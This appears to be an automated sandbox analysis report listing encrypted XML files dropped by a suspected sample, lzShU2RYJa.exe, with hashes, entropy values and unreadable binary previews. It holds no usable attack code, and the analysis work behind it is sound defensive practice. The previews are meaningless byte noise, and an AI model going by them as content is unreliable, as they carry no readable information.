Preview:	.<?..6..oK.m L..&.lr#Vi.....].p{).C\...$.d..N...`....=.6.r.#s..6.!.....to!:>....9i..Y.L_y......^......x....!t1...$.....r.."...+..QO.....[g.......H.>.Y....q..?...+H.Q... .M4L.w.c..{{%o..v.....l.Yl...+9..<.i.G!#..7e..y_7@..0.....%r.1.`z./.w.7op.T..^.i.'IqC[7?.Q.PC."..U..j..9......B..T..N9.7.......Y.-P.~p^-.......D`...q..+u/\h.!..k.!..2..p.........3k..K/...5...R..YEV[.@p.k.J.j....\\,....hM..x...7...&......t=...l....a(........;.{.P.AY.s..NB.<...TYz.....T..0.=y.XN.....Mpl......s..P.^c...Z8D.3..~.R.....8K.22.K]x.....V.}..+<..f.1.4..PW.[l.....>..Y...%&.vSZ.....[./ZsK....f.t.@w..N.$.U>+....&...w.T8!.._..5=.`P.s./../.:6.C. .A...t'.."U:.v......;Rr.%C."..8z....~......CYFn;#.D$.L.......U......X...'..../..z.......5.....\|.%.0...aV...'x....^.!.[..q......l;.\|. ]....A$.$....qp..(j.........(~...$.2/....&-.....\|i.O.T...L&qZ.EC.]....#.*.G.$.T........-.9..t..ZR.&...m.Y...-m..q..l./.......Q...H...\|........4.r..v..?...P..Z .....]....4.bq.<v.....!_O../.$.....q..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703300v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.875129309763386
Encrypted:	false
SSDEEP:	24:QFz0WHa3mT7J5pZ79Dyxck3ktYdqteRJamVRik9lL0/FwtBBUiS3pucCTdEpsp2+:uz0sMmvRyik3S8HaSR10tCFSg1BYPmFD
MD5:	C18B5A5D70BA9A0B531F0CEA46C3CF04
SHA1:	2FCC7E65C04032F892EF22E959226386E08BBBCC
SHA-256:	7B4C69E5A22274AB02BA26593E2C0ABFFE799812FEF7F894CE6B889AD73B540C
SHA-512:	EBE5BBBBAD4742FE106B90EE303868284CA1F82DC192D793ACEE5348FE7943A47638BBEB6552AFFF7AF8CC7E58B4E347EC45D3DCBAD5D8B43CF4700F1B3E28AB
Malicious:	false
Preview:	.<?.a..}.#`.5............&.T.80FN.R..H.n....!.s....W.^.....h.....%........<.?v.C:c...y.$...]..e..m~J.&w..YY..{\v...._..u..5...IP.q.:.v.AQ........A..'o..a..K..x../....G.dG.7..g5D.$.{z.^.t7..Q...o}j.D.....E.....j..,....;....cC.Nf...g.._+....`.Rg..s...i.T..d..FRX.w:..s.a&..e.oxn..^....Z\.W..p%.B..r.uX.=u.N..i...\_...b.......C....7y.s.>..P...<2.Q..0L.d)9{G..,V$.ES[.X.[r9..Nv..T..\.hO.......4.......%.....ZHow^w..g..Y..h.7._.u.C._..)ss.0S.!<....%..$$h.....a.n..v6h.3YD3....I..1....].>.).3.0....[B...0.W.m.a..}..m..7).W-.{.um.....u....d....3....w#.......='=.....p$.Z.^..H........d..$.....T.o...../ZqF...y_n.D.6...z..:..Q{.O..5...:..<....U..W.2T.Au...D.u..Eg..-4.......\L..L.d.W/o.f.u.u.x.......=ES..\....1.i.%...'.EF.S..vk............=..pc..;..'..x/}.Fw7.G...5....1...f..DQ.d.&Z...C},.];P......4l.$..z..+.=..b.6....B....[hv.ZiC.v..zH..&/.5q..u....6.}u..}.....s..:....m.HOJ...........j ..kB.fw.=.>..b.u$.3V...g..!...i..>7I....F........%w....Q7i.q.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703301v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.8928398757994245
Encrypted:	false
SSDEEP:	48:fIh3B6lykcr9G6BRD0w/e3PoRZoeEOcZ+yVftBFD:4x6loM6BRD07gLoeGZ+6tB9
MD5:	BFE5CE31AD1A24066CAF6DB6C89905DA
SHA1:	4B30D613F030585AFA4B14A845F1B7EB53459326
SHA-256:	A18E66A182D4B43AEFA2A3DFF0E4B4244754956D657F5EE958D27EC296AE69C9
SHA-512:	143E6CAC972186CFD1B6365D0B01F64ADF97B64E902EB2116666BE78B634D681B58E2440F3EBA1E4F8DE70880C00D6B592D7B87CA3138CD7A79A0719D7730A0A
Malicious:	false
Preview:	.<?YY...>...SG..#\|rs....z.m.....8x.[;.K=.v.X.EZ.......tYu..O......B...$S.e:.Rs...S...E..0..%.gN.j[.......I.....J.....D.........._.@.....>~t.%C'.6.YT.r.bbw/v\5M.....rNf&.3 .y.Z6.-k.5l.>@.Pr...ZY.)..LIc.n2..r..>7M..R}.....{c.....=bDS..)...~..T....%L..41N..._"..s....=.7Z.d....mwV...Y....x.Mc.....[.5.......%.OH....P..0.[... .%..Jx...o0..o.o....9.{hc.&6ok!q.K.h..z..A..<kr..3$..O<.....).9E.~.S.6...d@....tcc.."M?m.HT..R.[.?$...U.$%.l..D..........\N3x~...5X;O.....0g..t.......e..H.O)..E.l....o...........BP...Q....).....V.N.D.=...HV..?I......1.....qr......R.\|[f.....-...p.9:Aa.v.U...r..B....R..[.X...Q.O..X....f"......I(...W..s.....8.7....H..G;.I..(......+L........d<b.:4..k....q.!.....I....s...<b..../Hm.....p._...G......v.A.R.....t..\..c:..H ..X8.....i /.9..}"..&Nu.m8b.....F ...O...n..B....yH(....%......m..=..Tt..i..Ks.c..Z......I.]...!0........'+..{.C..%...........C..pwH.x.g.c..1 \....e.....<.v...m.h..-.Z@......s...m4.7..%...2.AGDm9.[.O..p.&.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703350v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.889166405453206
Encrypted:	false
SSDEEP:	48:S9bs53JXCGTelgDODf8iHdgg5fI3opDNX5oNFD:0e5BTeGUf80d5I3QXe9
MD5:	BB09A59D2FF07D709EED1BC489B94259
SHA1:	B4812A1464CD8B1071965A2BD15AFEE5146CB560
SHA-256:	50A7812A7A3117AC99662AC9E408624E6F9486FF1607F4E506F920F3339472FB
SHA-512:	5B63FED29543D1418C3115D21428D03F9017B8F03A4B4D7541BF437AD2AA78D21155867DB8D973054FB7324FF57F6EAAE631BC764E11E56C297FD413C782B1F9
Malicious:	false
Preview:	.<?..j.id.........q...)...O...X..w....{,.,.......P..0.V...).....\.:..F.~j1!'...:#.....u..P_...RH...t+P...T...(.\.(.h.!.0I..dr.]..3Mk.gG.,>....Tg..H8s.L.O+.+0.o}O0..@.Em.s..[..-.J.DV.uG...]v.....X.C...'ht..t:...k......k\|%.'{...D.n../.G.P6..m...Q..4.....&Cn.t.+Cp..D.P.j.e&zA.v..Zm;.}.;..a...$...:E3.,.{./.R!.m....Ku..........7..M...sv....T ..Qd0.;..n.V}.H......".,....:(q..7y...yO.W....B.f..!.=.K2..1.RV.t.V.r.......`..?F..`..4.~.z>..-..A......q...nvh.Z.l.mB..a..dg.2R......e.B.1j..4.Q..8.(awD....J.,.....W}D`';%S.h.$>..+.:.....F.k#.t....H....kY$......:.5...#BbUEk.S..J.z..d...?.#C..K.....85.......2..}y-.HVe.y.R..J...)#..kf..kT..(8.MO6.n.. V..c....$wt.$`z...p....5.eI...0H..^].].}+Hr.o9..[(9.E.I..Vl...Q..... ..t....P__.....qSW...=...Y:...[.m.E.gM..M..7^h....N`.{.O...V.c.g...%.....Z..\..3.."....?X\|X.....u.......y....I.w.g.......Or...XE..I.<..c.:-.....c .V.....@u........l]h..;..x....F.}c981K.6.X...%..Z4Kr.s2.]_.F..[.zw.V..H.Q_.k$.hg...9_.P....Q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703351v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.8680833100473455
Encrypted:	false
SSDEEP:	48:nLfMWWHiZ8GhKDSAIQCBZetkoPR1WAZTz4LFD:HWHiZ8GQDlxCpyXPzQ9
MD5:	F535367741D04B71A6009B6F58F1B2D0
SHA1:	7A989C34A8A68FF2B48C9631F9DA6A416B34A744
SHA-256:	26EB424764BAD3DD18E0C4B5B73FF13A33BA0E9D1AC4CE74AA0B863F1A6932E6
SHA-512:	6B1F2781F0827B421AA855BE8D53F34D108E04842FDDD1D56AECAF95A7E1C065D21F24873BF7DA1B2D14844B80E9BB940525ECA4FFA7544651D0CDFD039F80FD
Malicious:	false
Preview:	.<?..G.jz.....7...I....\|.OC.....\.(}...o.T..:.l..V,..E[_.pP...V..RL.3).+.]p...`...S..%Wh.^.pV12y.1jE...N.^Aw.:^A....4_%.e.nw.5.V.....B.u...g.......P#..1. ..c.........0.{.O~E._u..(..x0].nTqhl.Z.q....Y.2n".>..lo.....s.A'kJ6.:3.aA.9...%>JL......!emf.>........T\g.T...B...+...f./~....);.......N...U34.-.v..!8g=.o0.......V..._H..7P....%FM.......!'.I..O[(.7..SG...}n,...].9..U.E....X...:(...(Y...6..{.p.........<z+..]C....S\|.y.T...$._T.>..U.....sz..a..p}.a...:k.GT.......E..0..v....i....}J....#..........S.u..2<.....Gj/..X...jq...x....4......?.l@uZ.M.F&oJ)Q......".@]^.....V.Ku...D......"..W....]..f....b&...........-..2..(.I-F.Y.Y.......!...k.Z.@k.b...9....#v....%V.&..~.....%.....ChW...\...m...Gm...7..$T.=P..\./......q=Jj...esn.7D....mF.i.<...p.....0.(qH-v~k..\0"....$..EPu....Nj.IW.....^'!.J...\..._.S.@FP{y..?(..*.`.....b..v.(..?Y.t.....@..<_.u.b.ai...D...B.u....X.'.2.2.\|...p."6Pby.d..%1.....I.B...\..+..%S..\..x. ...1o.....&...g.\67.~..o.P.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703400v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.895276636965712
Encrypted:	false
SSDEEP:	48:XMZHxwjA1CTNqhT+FwvgVOThxyQQ6hB2m0gOiFD:XexwkwNqQFmgVGhxfd2mjOi9
MD5:	0A49D778F57C773F65EF2979377CD65F
SHA1:	6AF30981FE9D7A3B3B2FEC485DFDC2A17C538539
SHA-256:	0A91FA96F7C048FB1F6907105AE5D4176FA7A512C5B440616DD68B45E4C3FFDB
SHA-512:	6DBD46070264A9C950987232518BF6E645EBC42819C868D7EC71E0BE197747A38ADD3329E6AAD1BCED14B3C72AB94396CF2C036AB61A2DC5C9FB087266B806B8
Malicious:	false
Preview:	.<?8E.}a..........ib..[x...j+..=..D<z..6.".lK.He.........,2.F..u........Pf4.............G..........q.XP...[.X.a.M.Y[I..+..^.".+,\......).~......].UE.~d.!17.L.]...Q..l.Rprg..n/...."..#:`OBY.1..A.V......L_].......b....l..........P....n....F.{_...!6`R}....E.`...V^.>.$,y."t......)n.........t.M..&..F..c;_H...j.b....#l.....6...+.C.B..}6.a.Lg.e.........%...MMX.....O..4x$..[N...9.<.X.o..z..Ni.c~.N\....< .B.%.w.(..M1x./.D...w..}..,c...N...0Z]).+-.NE.o....9.J.....$P....i....(..V...}.,.w.\|(..Y'o..{+.s...Y.x.....$...P..Y.x.:6}.]y...Q.....sg.....}k[......-..&...y<.[+.v..y..j..T.......6.m.A..c....z....N.......#u.m.y....k../..[.........l^,z....E.YA2.......,.l.u...`.@...@"]$......8...1."Ls..;S9.].'R....YovH...._...I..Vn.c$...m}L..'..6R<..Z....<{.}&..~..).c...v......y02.>...FkdS.T.....2#....P...O...;_`.&IX\...~.Je.;..n./....._:%.F..8...Y.?......A.....0....p...).1y9}U.s.<....{-...)I.k.U.Y.....9...5.......p[.dm.h.....e.^...T.r....]....*-..x..-.q...?t.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703401v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1759
Entropy (8bit):	7.885093691974725
Encrypted:	false
SSDEEP:	48:H18yiwd42u53Guw48GB/rfL61gut6g0/eUjoPFD:HOzyHuouW4P6aU6DVjc9
MD5:	224E52CE115DAB0F06551BE01F23072F
SHA1:	FA30337F5D6138F2918316396567CD7650BC01B6
SHA-256:	317F9918DD58F5C83ADCD31597710FCD464307A8750A9610C917E29F872A2753
SHA-512:	31D720B2B7B3D988EACD0D25C9736DC4BE072C6C74B92E464AAAE47A8BBFE1BA47E2106F4DAE2A00CE7621B7D0566A90E0D1EBA075704FAB65F54E0077E22858
Malicious:	false
Preview:	.<?K..yy.).P;..;...,..u.O6..D.VE.<.m....>.$......\.L..Ur.#..O.@..w(X.&.....u...g....;.J.>..........U>..E...pK.].I...>..[..T.g7%p..U_.#.;$.4PA.PO...S..`...X.}.5..j.K.b.x....Z1 ...~f.{.J...T,..r....g.....KzZR7.Yz...W.....qn,.(1.v~.D......y.[..WZ.h..h....n@r....uE.0`......&!J..%.>.q[2,...k.S..=..5.(.C?..2......X.1@I_.%..,e...8......6..r........)'^sn..f.:.`.P%.dM.h..a.Z..tY..N...50....ES..@.%..-/OQJ.Q.+.';...m.pWw.E.4....`........ ...o..3'.%.P0....U.C1..E......Y..e;:..........$$...U.].P...e......0g...G[.D.a).k.....UWr..4.qQ...kN...%..)T.Q.X...<W....G.K.E.1a.a.r.........w.v.3.x....Z....<d.K...p.(.gR...]O/.;.oq.._....\9../.{.........0.t..Z.....Yu.......v..o.?g..j.q.g..-3....>..2j..W..H...k......C<IjB;...)~..f1..".. ..:.ep.G.......s!.^..v.....[r.y.~"..j...T.(.ox.^.U.3&.8..+......g..T....2.'0".......m~:.......{K*.3.%.Q..!^....QP..Z?..'........8..5.....i..k....h..\..+....g1G6...1.~......9.aI..V.O..LOq<O.VE......`.t..b.w...gU.=@1........RQ...Kj..`.M6I

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703450v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.885519901823829
Encrypted:	false
SSDEEP:	48:q5YC944QVnBLoSvW2vItB9F80eeYQ+/8MRFD:6b+IyIHjVMQ+F9
MD5:	F6B7BC5DD4FC43B7DD9A47337C420C5D
SHA1:	1F8CACBC1384DF12410655D26983DBD7EF9BA446
SHA-256:	7CC30F790F9804B54AC1BE2722CD8B928960ACFB2DDD54EC20AC1454C07D2A61
SHA-512:	1851C3E26D0F3537193CFD2D607EB8A8A625B1B4E9F44635FCB8796164D41F7B0649FED4C61C23674FD5C32A554A50BBCECC75103FF66D7A8B0CD1E69B1F3255
Malicious:	false
Preview:	.<?i.%...C9 J..".y..................^....0B.#..:o.....H.TB...B.X...T.V.WQ.....6..r.P.:..Q:V{G.<...A`...&P.......<...`dw.sf..(.)y..m....x..{......_bL..Z...Q...+.HP5..(.."G.gUq..=.....L.....$_..-..=.C..zd.0........l.X.N...@..k./.m.........m.....{..l(.~t"..g...L.!.]}#9....B.D....a2.W.2........Zo..........bL....).Ve.N..7.M...(.".#....u........z.}....VU>.".......O{=r...!..C....Y..2D....d^eKe.2t#.............)..2.}...;......F...nO.."..(7....+..esf..bC1..0....`....a\...Qr....)....Kd.._.@)..,..c.E.5Pd..Q...%x.<..`..}. #..3W\|.r.v.....(7..........z8x.p..l..k..v....9...x,..]f.-\|u>.C.@'...W.l.Wlg.<..E...........d{...`.c\l."x...F.e...;..M..b.h;..#.....0J...._...N+...k.-..!u7]>.-..Z...x...o............s6.Wx[.......0/.L..xa.<L.h2..Jm\|_..x..)...e..gT...G....VE.#PL..y.."V.H....6....D.b..=.K...1.9.{.W.L./.:T..F..0x.Ba......D...........................y.s2iW\:$A3....kq.W...6...Rdy.....Ou[..K.w.70.E....<zE..`25.7......P.Juz.uQ.....pNEZ2c.z5..!Yy~.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703451v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.887807343952106
Encrypted:	false
SSDEEP:	24:s0X9rZxNPBaezzHPnPz1A8dOA0dhaPiM0WLNRbnA4hRDj5/uOJZBi9jvEq8ePLVX:sWHIevvnZxKd86rWjzZh1RZXujsIPLFD
MD5:	B35A54B7374C8EB04B50D7DD2993C239
SHA1:	0815BCC447084E6F524163503C74A85B3947B9E9
SHA-256:	57393457DE94998E2A3CC868DACB31F27DF5556729CE6CD47293A666AE40AAEF
SHA-512:	A702602F25B7ACE3363CFFFE6FFB0F4690AC3B54DAFBE0EA856160E92B78C7F10CB941C75B40CA4EA6CB89E43A09A3362A7738A9EAF5FFC3D053C227E72F0015
Malicious:	false
Preview:	.<?..5.Y,....U..Y...z}Z..M........@....-9.ca.\...L..(j......s.O.c.:v.;d.".`L.O..{....v.c3.,.>.j%...gH~o>.......^6EP$.w:..`.#...J...,-.[>.....t.Ih ..q9].........+_..Z.s....n.:..'.....t..`2.FM.....e..%.ES.[......_.O.d..>clR.;e..=K.v.4t..vF.O..Q.fg.-.'Dh..e.'W\..Z...../_...<,.)M.2X.....h..n~..%^w.....`.\...s?.W..%.iM.....N`........q..v..kZ.....q...u.?.9?...R.(.:E......5...8....5...'...p..~.../s\|,<.R%..9A6......exr....,e..h.).e.w].....X.A......J....mz...e...s&.Lne..CB...2....Z.L.G$.........a.....Bs.;.....4.Oa X...#..J..........2`<~.....)......X$"e...h..._.A...8*.\`.G..M.d5..,.^'b..Vd_..X.3a..0.l....^:...,....'e.....HVUw....X...$V.jG.$,.'......h./m..\.......;mWZ..s...\..b}...(T..b&-f^.O..&....+?.>..v..................Z.. .)[.o.l.".+0i.....xS...l.O..H)..\|...=....%[..K..URV+.uR...A.....kp.i^e....5t.NUz9...M..[".V$.s.W.@...-..R.....$.j.A.....L..(..R.a..E.o.K.Ly...i...+........>..P`Q.q..]>.....2...L.L....Y..R...b.k.2...\|....H.."."v..w.V.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703500v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.8672342060226
Encrypted:	false
SSDEEP:	48:9mBoek32vjwBfqwOEY5EqDXhk6MA2zkNdLFD:zG2yxv5Eqjhkg2eZ9
MD5:	348945370D023AEBD6C1AF453C1EC194
SHA1:	80EEAF24B3D64E8D76B54CE01FBFB7807331BF2F
SHA-256:	69831EF080EA2FCD4274F8C0A7D169D5C1093F4A1F57F83898108B6623E6FBC3
SHA-512:	A220F881711D283CB26C7E58632BBA212A67D2CB6A753A6243CB32D0F8B00ED193B3FA845FAE63E1A798D3F93D0A900CF7A21DD568E502E5815F3207A8514717
Malicious:	false
Preview:	.<?.RL.@......WmCj#..4..s.;.E.\|EK1..M...8._..[..?e.@c..T.....JCO..U.z.)2....%<HX_y.......O.5..U........M..Q..1dI...6.%...!OF-#..;..x.9.@)8..._...P...........-.......o..0..}..F...0.$....T.I.qs^..X$.:...Tk..y./..p_...K...r........3.J.....u.MQ.....#..@$..5.....\|..45....^X.P.(..a.]..>#U..h..p..l...' .u.x..9...LN....(75.+...........H..s.....#..!A.aD... ..+\....._.U7......O......[....7.7..\mn./6.b....5..e...)N.-<G.?.....AU.H.r.u.......!...GN..<...).~l.....w..<;.\$/D/O..e#.+D..H...L.R....!.A..K...PB.G5u.u......f.wl.y~).w..0"....B......R.e...?......= .Rh.yfF..>......X.)\|...,..C4..&.z......e?...:.2,..BTi.zB.~.Q3..H..^.tP../......Y...`...>.....j+/T..n3...e.s_..ZsY..P.......!..)).Q........R....'...3.L.$...../;.U..<..`.P$..f:.uGus~.z.K&,/4..5OR(....&.$8..gW-@..>neU.Q;.Rb.0..!P....G'P..Xa.k..?..........'p.0.l......../..f..h5.9}..?....1./?.*l.....'....'.9N..Y..C...V...Yz....3.....Q.fo...p..e]."S..t-96.`:[.....z.\|.CE.5....6;.0$..g...D..8&..R`.m..W7j&.2

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703501v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.892980018764262
Encrypted:	false
SSDEEP:	48:88i7mUQn5cQic2d78VWmeI2aVu8kNYOHghKFD:8LY4dQVWq2aVmCvhK9
MD5:	19857F89596BDC0D7405134809F692C2
SHA1:	6B8E63F7CDFF660AB954C1FACE7229FF54C9BD2D
SHA-256:	15D86C451F2F62C4609271A3B32DFA7A0A6EDA0C81290C8ABE8FA980914EE7FA
SHA-512:	5AC094CE5817F038CC54E09550921309F1541162591DB667223AC10C46AAC64EA76CEE03ED725AF70D3EF3B0ED808CADD424E7ADF4DA5F7AB000AA9537D819FF
Malicious:	false
Preview:	.<?&mh.Xd..Z<.7P.,A\q...}.j./)..........3.%...@.V..a.:.@....".5...,.f.$..yh.v...R..!.(o.........k.....C$...l.Y..c;..\H@..,).0o...:..W.....F.,{..[..&+.f..TW$.....4..;.B2z.....T.A.w.x_.F....:..jK..&.......5U....i>.v.....tz./.q.z.;..hWY...R.-..UK...m.w.p.b.N......pT;.M.a(.!..a\\.E..g....SG.....N9..{;.N..`.I..a.. .$..s). ./}...n...".S.n......=..O..e...X........Y.`.F.Q..R..I......H..1......W.&.O....x\...XR.<!....}#yG!....L.?5..6&...>.........q.?...G...W,.e...e...=...@Z.$...!.1....\|.M....k...{...s..Z..u..6+~..A..QA~.{`uT\.>..~. .....R....He... ...Y.'d......#\|....f8d...Yf.QA....A33...u..Mb....!n.";}#\.L.k..>...!... ........o.hP..K.L......So..ub-N...j.'...^$;.V..E'..F[1p7/..;a.w..BGg.....9..-.p.c..h....+..<.\.K...RL......2..w...D[./...\|>..."x..-#H......P...UL........Z.I.8f_.....?..F.h...8....=..I.#.O.Fu...k..G4..$.e#A...gOx...Z......Rf.{..8(..5u.Z.Q<#..GZp2.......}..dG.}.......g.G.{0.v_c@..-Q:..\....2..-...iE~.........;

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703550v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.882399498114118
Encrypted:	false
SSDEEP:	24:xyAptbk/+/gG1Prpa/lWF7WOnjpotXM+zT5AmRE55F/ob85TvPzceauqeRrIk6fX:IAnbI+jCoLmXLxGt/a85TX4o1OYliFD
MD5:	34DAD4A67295985827F4BFB67A99C706
SHA1:	51CD6BCA431A66425DB2C4756107BBB65F80D56A
SHA-256:	C0D68ADE1143B4CEB6EE3614974384EBD1BAA6EC1DDD6E9CE055945C255A05C9
SHA-512:	C53C9AF0038955D22E8EA0710A8971855BF888BF1068168214E5F13938395171B8066D12FE6B67499E15981EC7AC76F77515B93A0842A3B507C0B0165C00C4AA
Malicious:	false
Preview:	.<?Xg./.%.^.#5.$........r........3.....Y..ZO..:.f.Ax.=.$..m..H.....s.........,..5........c.WP.>.,p.K......7.....u...tMD4...}'i.4B.R.H....U..Y.Tm...^."...{8^..CE.....'.I....X...._i......C.....KU..y.L.....,t.E...'....3........PR..S..\|..1>._......o...<~.....V1...'NOb...K...).......\s...f...n....RH...gAMQ........k.4c.Ng...........J\\=..ur!2...PE'....d..........4uZh.a.....n.!b+.u.=..z.z......._>.'>..b8..BK.."....wS/s.Qy...!'i....;`.-.......^.I(....'........^.4.i....v.rA.8.UYgHy..b.2/.8.\|-.....A.p.h+.?..(:.....:..8^U.7.........mg..f!.a2.nd.fs..8Q..%D&..H...LL)"..$...H<......2..._.6.,..@xAK...6.{..d.P.6........We.3cR..2..hd.....>..m..h..zfxy.i...p.H.....;S..n3..E$La.;)-.\|)..1..iI..E...E.[Y.P.~......y......5.y....)...<...L..eL..W....o...]..q..t...nNW...P.,.zf..2.,..,....U..l.#.........F.._...0....[0...@.2....q....,pQvU$..iE....L.].Nj...O...oi$ .P...Sw.d.K.?.r../.`...q...ge'_..q..d.d...s&...^2ScQ.+...A...,...^k........,....x.F.[$.U.>..A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703551v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.883429789316419
Encrypted:	false
SSDEEP:	48:GuiyxynJ41UoaOYVOoBcLZCxccN6EU14IFfFXGjCHBTOJa8cFD:GuiygnGGMYfBa86o72LFfFXxHtO7c9
MD5:	FC60ABC418553047EA5DDCD87D33A26D
SHA1:	A83A315C977831AB1007BFDD02BD41AF8ADC9698
SHA-256:	C4BF56DE3FBE70C33B4FB16CFC151C13AE9A68F9DA0734CB4FAE44BB55D533A7
SHA-512:	0CCCDD8606967CC61DA646D44E3923DA4D87A9778960ED4387476D91119E21A779DBAEE4BB9190E9AE37837E64A172B2D7725E233DD853EE19C05BC26E49704D
Malicious:	false
Preview:	.<?n...\R../P..}..."{T8T.dx.'.T._S........Lu.L....8...;%.....^..kT.~.P..Ls.O.r...^-M./f&.n!...eE.B..FY....iC{....!.7&D.t.8.<.e.l.<.HK.;G2.X. .[...B7....W.uZIX.S.8.....2.4q........=.B.S.......(..A.n.%(..m.. p..\|I.h..7...Or....(}m.....:.....c.../..i..~I9A%k..=?.=...G.q^....(.!~..gK.G.G.~.+........9........H./.......Z>.pI(N.nAX.c...........X.[.Jl.E.KOGz.m.......N.i....-....a.@_.;..D.l&$.L..G$n#.@t.x%o.q.m.m...+xO......>O.Ll..u8?..&....LAH.Cw.!IiS...`B'c...V..=Im..@... \|3..P.M.&Dw...[.:....G=.d......A7....sO..v....Kz:.....%.......]...'L..c..n.K........a..\hGp`B....n..uJ]........;..-...<..6.L5...i...Z...es@.A..(.kz.................W..+I.....pt.r.sO....&*A..3..`..&..f....F.WF....Wd.7uA.6...'p..2Y.>Lw9v...?..._.....L'.U......c.j..`....Q.[....F...n......y...f......1..n(...z.m.ee.N6"7...{vm..wj#...W)......N....&..(.."lS..B%k`...i.6~.G.e.0F.!U........g......!.m0?..8`...V.....?....?.x(..e..C..V.8.H..a1............_..1.S.z.....'..D....b.%+ .

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703600v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.900316148752281
Encrypted:	false
SSDEEP:	48:4P+QPM8sGqMjkzSxj+D7/sOjPr2KTXhubzpFD:mRsGqA67XjPrHr+d9
MD5:	EC24445A756013362EC5558D4926374C
SHA1:	49AC25849AC5CC627107D13CD4F278ACEFD3A8E3
SHA-256:	9C54EB7D5625D086FDFB8FEA125CCB36C7E59B80972651794E63C5FB9B677D14
SHA-512:	D6E9947D8E9AE96854254A028B9B9A30072823ABE326D595D9192C770367BB705A947AC4650535708F12CFCCAC2959EF6C235DF5698AE8120B1A6AA74DC6C0DF
Malicious:	false
Preview:	.<?.).Jd...#k.S...}.J...Sy.oQ...:....Q...(..1.d.:.,..C..\o.;..j.)......ZQ.M.,..8..ohW%......o.i}.........d.5Q.+d..q......a..f.....r{u...\|.%.F.9G..@..c#.....S7....Y..V.Q..M...c[.O.8A4...1..O4p.U.~.W.\|P:..@..s.^......kpi...k8.@.{.<.$.....!.....k{8...F.].d.9.\...,.3Y#..}.........u.....1.....xw{u...R..).H..r...S..+.b.Dk.......`..D.....u....&M... .C<....d.:..a..C...7%..M..E...Kc$...;...4p#....L...'p_..rd.{hJ....4C..\|P.2..&...?.K..Hvn...${..M9.../R..e.....ds._......&.z...-.FYX....Z.....u..v.....&j..8.......P.....\..~6...>.0A...........,2......u..1.I..b.^.`.;......&..._...$W...T...J..X.->M.....V...F..6\|..8.........N..a....x...7....J..X.hc......q....._..8..l..........v.!x..:m.s.M.....B...+ -G.O.L....1.rXQ}t]R..~P2.....<y.$y..,..y.C...6.]v...;.w...."...[-z.4Z.Cy...........%Z..1.w.]@9..`5..`..1.....{8..+.w-[..l...+.1...Z^g..%.....i...8l.I&C+..o.U.<X\|K.....R.\P.....5....b\|^.:...q?.8!J.5a.`.Z...!....9li.0.Hb..6...T..a.......IoS.`.~./..U

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703601v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1729
Entropy (8bit):	7.860732552128618
Encrypted:	false
SSDEEP:	48:X95EcYn8XikqxGa7j2UY3wvPVzQXcs5T9sWHBDiFD:Ypnoikqs47Y3wHVsXcs5BsWHBDi9
MD5:	2C9488728C4243EB952E5314836D9867
SHA1:	E0AA1EE7E885CFDC72802D14E66CF9E50B1765BE
SHA-256:	7C68A9AB37C8F635693C60DC074D08F70E20950D73633E4A29FC41F698E5AAAE
SHA-512:	8CA1EE1424810F30257B79DD8ECFA2A48FA3D8F104C5E53934B5AC119B820690655108C7B765D8C72CD65CBC64D492116ABB267312C1DDD8C8562913E84D620D
Malicious:	false
